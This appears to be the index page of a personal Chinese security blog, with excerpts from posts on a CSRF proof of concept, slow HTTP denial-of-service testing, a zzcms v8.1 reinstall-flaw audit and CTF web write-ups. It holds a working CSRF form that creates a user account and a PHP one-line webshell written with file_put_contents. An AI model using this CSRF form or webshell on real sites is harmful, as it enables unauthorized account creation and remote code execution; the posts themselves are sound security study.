Panda

What doesn't kill you makes you stronger

记录 • 努力 • 追求 • 生活
  • 记录

    记录自己学习的点点滴滴,只为更好的进步

  • 努力

    笨鸟先飞,比你牛逼的人正在努力,因此你需要更努力

  • 追求

    追求技术是一个快乐的过程

  • 生活

    生活是根本。是技术和灵感的来源。

deep

[新] 写在考研后的第一天

作者: 浏览次数: 时间: 2018-12-24 评论: 暂无评论

QQ截图20181224195456.png
去年的今天正式选择了考研。
开始了一年的考研之旅。
用一年的时间,去做一件事,而且你不知道这件事情的结果如何。
这可能会让你放弃。
的确,这一年放弃过
有时候感觉自己好累啊,远离了自己喜爱的,想做的。
远离了家人、朋友以及休息放松的时间。
但是坚持下来了,坚持到考完了最后一个科目。
总体来说,这一年,感触颇深。
考研会让你学到很多,对于以后学习任何的知识、技术,考研时期的方法,都非常有用,而且考研所学的专业课知识,对于理解算法、代码都有很好的促进作用,不管考上考不上,这或许就是我考研后最大的收获。
路还在继续。
不知道最终结果如何。
但是总是要一步一步的去走,一个脚印一个脚印去实现。
接下来是新的开始,新的启程。
继续努力~

CSRF漏洞中以form形式用POST方法提交json数据的POC

作者: 浏览次数: 1542 时间: 2017-12-07 评论: 暂无评论

0x01 写在前面

今天遇到的,查了很多资料,发现这种形式的基本上没看到,圈子里某个师傅发了一个国外的链接,

参考了一下,最后成功构造poc。

0x02 POC

form提交post数据很简单,如下:

 <html>  
 <head>
    <title>This i a CSRF test!</title>
 </head>
 <form action="http://xxx.com/db/adds" method="post" enctype="text/plain" >  
<input name='{"attributes":{"name":"test3@test.com","userName":"test1","password":"e10adc3949ba59abbe56e057f20f883e","role":"user","status":"enabled", "phone":""}}'type='hidden'>  
 <input type=submit>  
 </form>  
 </html>

但是这种方式存在缺陷,如下图:
01.png


缓慢的Http拒绝服务攻击漏洞的验证(slowhttptest的安装)

作者: 浏览次数: 2157 时间: 2017-12-07 评论: 暂无评论

0x01 前言

主要记录缓慢的Http拒绝服务攻击漏洞的验证过程。

0x02 什么是Http拒绝服务攻击?

缓慢的http拒绝服务攻击是一种专门针对于Web的应用层拒绝服务攻击,攻击者操纵网络上的肉鸡,对目标Web服务器进行海量http request攻击,直到服务器带宽被打满,造成了拒绝服务。
慢速HTTP拒绝服务攻击经过不断的演变和发展,主要有三种攻击类型,分别是Slow headers、Slow body、Slow read。以Slow headers为例,Web应用在处理HTTP请求之前都要先接收完所有的HTTP头部,因为HTTP头部中包含了一些Web应用可能用到的重要的信息。攻击者利用这点,发起一个HTTP请求,一直不停的发送HTTP头部,消耗服务器的连接和内存资源。抓包数据可见,攻击客户端与服务器建立TCP连接后,每40秒才向服务器发送一个HTTP头部,而Web服务器再没接收到2个连续的rn时,会认为客户端没有发送完头部,而持续的等等客户端发送数据。如果恶意攻击者客户端持续建立这样的连接,那么服务器上可用的连接将一点一点被占满,从而导致拒绝服务。这种攻击类型称为慢速HTTP拒绝服务攻击。


zzcms v8.1审计

作者: 浏览次数: 1712 时间: 2017-12-07 评论: 2条评论

一、重装漏洞

和其他CMS没有什么两样,都是通过lock文件来判定是否安装过CMS,只不过这里出现问题的是,对于lock文件的判定不是全局,而是仅仅在step1进行了判定,攻击者可以直接POST请求step2、step3来进行重装。分析如下:
Install/Index.php文件:

$submit = isset($_POST['submit']) ? true : false;
$step = isset($_POST['step']) ? $_POST['step'] : 1;
……
switch($step) {
    case '1'://协议
        include 'step_'.$step.'.php';
    break;
    case '2'://环境
        $pass = true;
        $PHP_VERSION = PHP_VERSION;
        if(version_compare($PHP_VERSION, '4.3.0', '<')) {
            $php_pass = $pass = false;
        } else {
            $php_pass = true;
        }
        $PHP_MYSQL = '';
        if(extension_loaded('mysql')) {
            $PHP_MYSQL = '支持';
            $mysql_pass = true;
        } else {
            $PHP_MYSQL = '不支持';
            $mysql_pass = $pass = false;
        }
        $PHP_GD = '';
        if(function_exists('imagejpeg')) $PHP_GD .= 'jpg';
        if(function_exists('imagegif')) $PHP_GD .= ' gif';
        if(function_exists('imagepng')) $PHP_GD .= ' png';
        if($PHP_GD) {
            $gd_pass = true;
        } else {
            $gd_pass = false;
        }
        $PHP_URL = @get_cfg_var("allow_url_fopen");//是否支持远程URL,采集有用
        $url_pass = $PHP_URL ? true : false;
        include 'step_'.$step.'.php';
    break;
    case '3'://查目录属性
        include 'step_'.$step.'.php';
    break;
    case '4'://建数据库
        include 'step_'.$step.'.php';
    break;
    case '5'://安装进度
        function dexit($msg) {
            echo '<script>alert("'.$msg.'");window.history.back();</script>';
            exit;
        }
        
        if(!mysql_connect($db_host, $db_user, $db_pass)) dexit('无法连接到数据库服务器,请检查配置');
        $db_name or dexit('请填写数据库名');
        if(!mysql_select_db($db_name)) {
            if(!mysql_query("CREATE DATABASE $db_name")) dexit('指定的数据库不存在\n\n系统尝试创建失败,请通过其他方式建立数据库');
        }
        
        //保存配置文件
        $fp="../inc/config.php";
        $f = fopen($fp,'r');
        $str = fread($f,filesize($fp));
        fclose($f);
        $str=str_replace("define('sqlhost','".sqlhost."')","define('sqlhost','$db_host')",$str) ;
        $str=str_replace("define('sqldb','".sqldb."')","define('sqldb','$db_name')",$str) ;
        $str=str_replace("define('sqluser','".sqluser."')","define('sqluser','$db_user')",$str) ;
        $str=str_replace("define('sqlpwd','".sqlpwd."')","define('sqlpwd','$db_pass')",$str) ;
        $str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
        $str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ;
        $f=fopen($fp,"w+");//fopen()的其它开关请参看相关函数
        fputs($f,$str);//把替换后的内容写入文件
        fclose($f);
        //创建数据
        include 'step_'.$step.'.php';
        break;
    case '6'://安装成功
        include 'step_'.$step.'.php';
    break;
}

第十届信息安全国赛 Web WriteUp(部分)

作者: 浏览次数: 1556 时间: 2017-12-03 评论: 暂无评论

PHP execise

很明显是PHP代码执行漏洞,当初做的时候绕了弯路。
当时的思路是:touch 1.php 然后file_put_contents('1.php','<?php @eval($_POST['caidao']);?>',FILE_APPEND)
想写入一句话,但是不知道什么原因,菜刀链接失败。
后来继续按照这个思路来搞,结果就有些尴尬了,网站直接被很多人玩坏了,最后直接根目录的文件都删除了。
恢复的时候在看,发现touch和所有写文件的函数(file_put_contents()、file_put_contents()、fputs())都不能用了。
然后这个思路就断了,直接跳了下一题。
后来回来做的时候想到的思路是这样:列举目录——>读文件
这个不需要拿shell也没有那么复杂。所以直接使用glob()函数查找所有php文件:

print_r(glob("*.php"));

1.png








GCTF Web 部分writeup

作者: 浏览次数: 1348 时间: 2017-12-03 评论: 暂无评论

前言

准备参加某个CTF竞赛,所以找了XCTF平台上的一些题目练练。也就随手做了个记录。只做了Web题目。(⊙﹏⊙‖∣ 逆向也不会啊)

第一题 热身题

这题还是比较简单的。考渗透测试的思路。第一步扫端口,第二部肯定扫目录。于是拿出AWVS。

1.png

Top ↑